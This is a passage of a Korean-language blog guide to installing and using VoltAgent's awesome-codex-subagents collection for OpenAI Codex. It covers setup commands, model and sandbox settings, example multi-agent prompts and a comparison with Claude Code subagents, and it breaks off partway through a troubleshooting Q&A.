&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;공식 문서 수집&amp;middot;경쟁사 분석&amp;middot;트렌드 조사&lt;/b&gt; 전문가. 읽기 전용 작업에 특화되어 있어 &lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt; + &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; 조합으로 저비용 운영이 가능하다. 블로그 팩트체크에 특히 유용하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;docs-researcher&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;competitive-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;research-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;trend-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;market-researcher&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;설치 및 사용법 (5단계)&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 저장소 클론
git clone https://github.com/VoltAgent/awesome-codex-subagents.git
cd awesome-codex-subagents

# 2. 전역 에이전트 디렉토리 생성
mkdir -p ~/.codex/agents

# 3a. 원하는 에이전트만 선택 복사 (권장)
cp categories/01-core-development/backend-developer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# 3b. 또는 전체 복사 (136개 전부)
cp categories/**/*.toml ~/.codex/agents/

# 4. 프로젝트별로 쓰고 싶다면 (전역보다 우선 적용됨)
mkdir -p .codex/agents
cp categories/01-core-development/backend-developer.toml .codex/agents/

# 5. Codex 세션 재시작 후 호출
# &quot;backend-developer에게 POST /api/users 엔드포인트를 만들어달라고 해&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;중요: 명시적 호출이 필수다.&lt;/b&gt; Codex는 자동으로 서브에이전트를 생성하지 않는다. 프롬프트에서 직접 &quot;backend-developer에게 위임해&quot; 또는 &quot;security-auditor를 사용해서 검토해줘&quot;처럼 명시해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;4. 모델 라우팅 &amp;amp; 샌드박스 전략&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;2가지 모델 선택 기준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;awesome-codex-subagents 컬렉션은 에이전트 역할에 따라 모델을 다르게 지정한다. GitHub README 기준 현재 컬렉션이 주로 사용하는 모델은 아래 두 가지다. 다만 공식 문서는 빠르고 저비용인 읽기 위주 작업에 pt-5.4-mini도 함께 권장하므로, 아래 표는 컬렉션 요약이지 공식 모델 매트릭스 전체는 아니다. (출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents README&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;적합한 에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;특성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;security-auditor, architect, reviewer, backend-developer&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;강력한 추론이 필요한 복잡한 분석 및 구현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;explorer, docs-researcher, 문서 스캔, 단순 코드 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;텍스트 전용, 낮은 지연, 빠른 병렬 실행. ChatGPT Pro 전용 옵션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;샌드박스 모드 활용법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트는 부모 세션의 샌드박스 정책을 상속하지만, TOML에서 개별 에이전트별로 오버라이드할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; &amp;mdash; 리뷰어, 감사자, 탐색기에 사용. 코드베이스를 수정하지 않아야 할 때&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt; &amp;mdash; 개발자, 엔지니어에 사용. 파일 생성/수정이 필요할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;비활성 스레드 승인 처리&lt;/b&gt;: 대화형 CLI에서 비활성 에이전트 스레드의 승인 요청도 표시된다. &lt;code&gt;o&lt;/code&gt; 키로 해당 스레드를 열어 검토 후 처리하면 된다. 병렬 실행 중에도 각 에이전트의 승인 요청을 개별 처리할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;5. 워크플로우 사용 예시&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 1: PR 리뷰 자동화 (3인조 분업)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰를 단일 에이전트에 맡기면 &quot;보안 체크도 하고, 코드 품질도 보고, API 문서도 검증해&quot;라는 뭉뚱그린 요청이 된다. 역할을 분리하면 각 에이전트가 전문 관점으로 집중한다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서 PR review 패턴&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 프롬프트 예시
&quot;PR #142를 리뷰해줘.
  - pr_explorer로 변경 사항을 읽기 전용으로 탐색해
  - reviewer로 정확성과 보안을 검토해
  - docs_researcher로 프레임워크 API 사용이 문서와 맞는지 확인해
  세 결과를 종합해서 리뷰 코멘트를 작성해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;sandbox_mode&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;추천 모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;pr_explorer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;변경 증거 수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;reviewer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;보안/정확성 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;docs_researcher&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;API 문서 검증&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;read-only&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 2: 버그 조사 파이프라인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 직접 제시하는 브라우저 디버깅 시나리오다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 공식 문서 예시 프롬프트
&quot;설정 모달이 저장을 못 하는 이유를 조사해줘.
  - browser_debugger가 버그를 재현하고 스크린샷을 찍어
  - code_mapper가 해당 코드 경로를 추적해
  두 결과를 바탕으로 ui_fixer가 최소한의 수정으로 고쳐줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 3: spawn_agents_on_csv 배치 처리 (실험적 기능)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSV의 각 행마다 워커 에이전트를 생성하는 실험적 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대규모 코드베이스에서 파일별 처리나 이슈별 분석에 유용하다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# tasks.csv 예시
id,file_path,task
1,src/auth/login.ts,보안 취약점 스캔
2,src/api/users.ts,입력 검증 누락 확인
3,src/db/schema.ts,SQL 인젝션 패턴 검토

# spawn_agents_on_csv 사용 (프롬프트에서 지시)
&quot;tasks.csv의 각 행마다 security-auditor를 생성해서
 file_path를 task에 따라 분석하고 결과를 report.csv에 저장해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;토큰 주의&lt;/b&gt;: &lt;a href=&quot;https://deepakness.com/raw/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Deepakness의 실사용 경험&lt;/a&gt;에 따르면 서브에이전트로 동일 작업을 처리하면 단일 에이전트 대비 토큰 소비가 크게 증가한다. 속도는 빠르지만 비용이 올라간다. CSV 배치는 특히 토큰 사용량 모니터링이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;6. VoltAgent 에이전트 생태계&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VoltAgent는 &lt;code&gt;awesome-codex-subagents&lt;/code&gt;만 운영하는 것이 아니다. 플랫폼별로 분리된 세 가지 저장소를 유지한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;저장소&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Stars&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;대상 플랫폼&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;포맷&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;규모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-agent-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-agent-skills&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;12.9k&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Claude Code, Codex, Gemini CLI, Cursor, Windsurf 등 8개&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;SKILL.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;1,030+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;2,778+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;OpenAI Codex 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;.toml&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;136+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-claude-code-subagents&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미확인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Claude Code 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;100+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;Stars 수치: awesome-codex-subagents는 GitHub API 직접 확인(2026-03-26 기준), awesome-agent-skills는 WebFetch 확인, awesome-claude-code-subagents Stars는 직접 검증하지 못함.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-agent-skills&lt;/code&gt;의 특이점은 &quot;AI 팀에서 실제로 쓰는 스킬만 큐레이션, 대량 생성 아님&quot;을 표방한다는 것이다. Anthropic, Google Labs, Vercel, Stripe, Cloudflare 등 공식 팀의 스킬이 포함되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Section 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;7. Claude Code 서브에이전트와의 비교&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 플랫폼의 서브에이전트 구현 방식은 목표는 같지만 접근이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rick Hightower Medium, 2026-03-21&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Codex 서브에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Claude Code 서브에이전트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;설정 포맷&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;TOML (&lt;code&gt;.toml&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Markdown (&lt;code&gt;.md&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;설정 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;~/.codex/agents/&lt;/code&gt; or &lt;code&gt;.codex/agents/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;~/.claude/agents/&lt;/code&gt; or &lt;code&gt;.claude/agents/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;빌트인 에이전트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;default, worker, explorer&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미지정 시 일반 에이전트로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;격리 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;클라우드 기반 인프라 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Git worktree 격리 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;배치 처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;spawn_agents_on_csv (실험적)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;해당 없음 (별도 구현 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;최대 동시 스레드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;6 (config.toml 조정 가능)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;컬렉션 생태계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;awesome-codex-subagents (2,778+ Stars)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;awesome-claude-code-subagents (100+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;버전관리/공유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;git 커밋 가능 (.toml 파일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;git 커밋 가능 (.md 파일)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;한 줄 요약: Codex는 클라우드 기반 병렬 실행과 CSV 배치 처리가 강하고, Claude Code는 Git worktree 기반 코드 격리가 강하다. 목적에 따라 선택하면 된다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- Section 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;8. 주의사항 &amp;amp; 트러블슈팅 Q&amp;amp;A&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;보안 주의&lt;/b&gt;: VoltAgent 공식 README는 &quot;에이전트는 있는 그대로(as is) 제공되며, 관리자는 보안이나 정확성을 감사하지 않는다&quot;고 명시한다. 외부 에이전트를 프로덕션에 적용하기 전에 반드시 instructions 내용을 직접 검토하라. (출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents README 보안 섹션&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;Q&amp;amp;A&lt;/h3&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q1. 에이전트를 설치했는데 Codex가 인식을 못 한다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Codex 세션을 재시작해야 한다. TOML 파일명이 아니라 &lt;code&gt;name&lt;/code&gt; 필드 값으로 호출하고 있는지도 확인하라. 프로젝트별 경로(&lt;code&gt;.codex/agents/&lt;/code&gt;)가 전역(&lt;code&gt;~/.codex/agents/&lt;/code&gt;)보다 우선한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q2. 서브에이전트가 예상보다 토큰을 너무 많이 쓴다&lt;/p&gt;
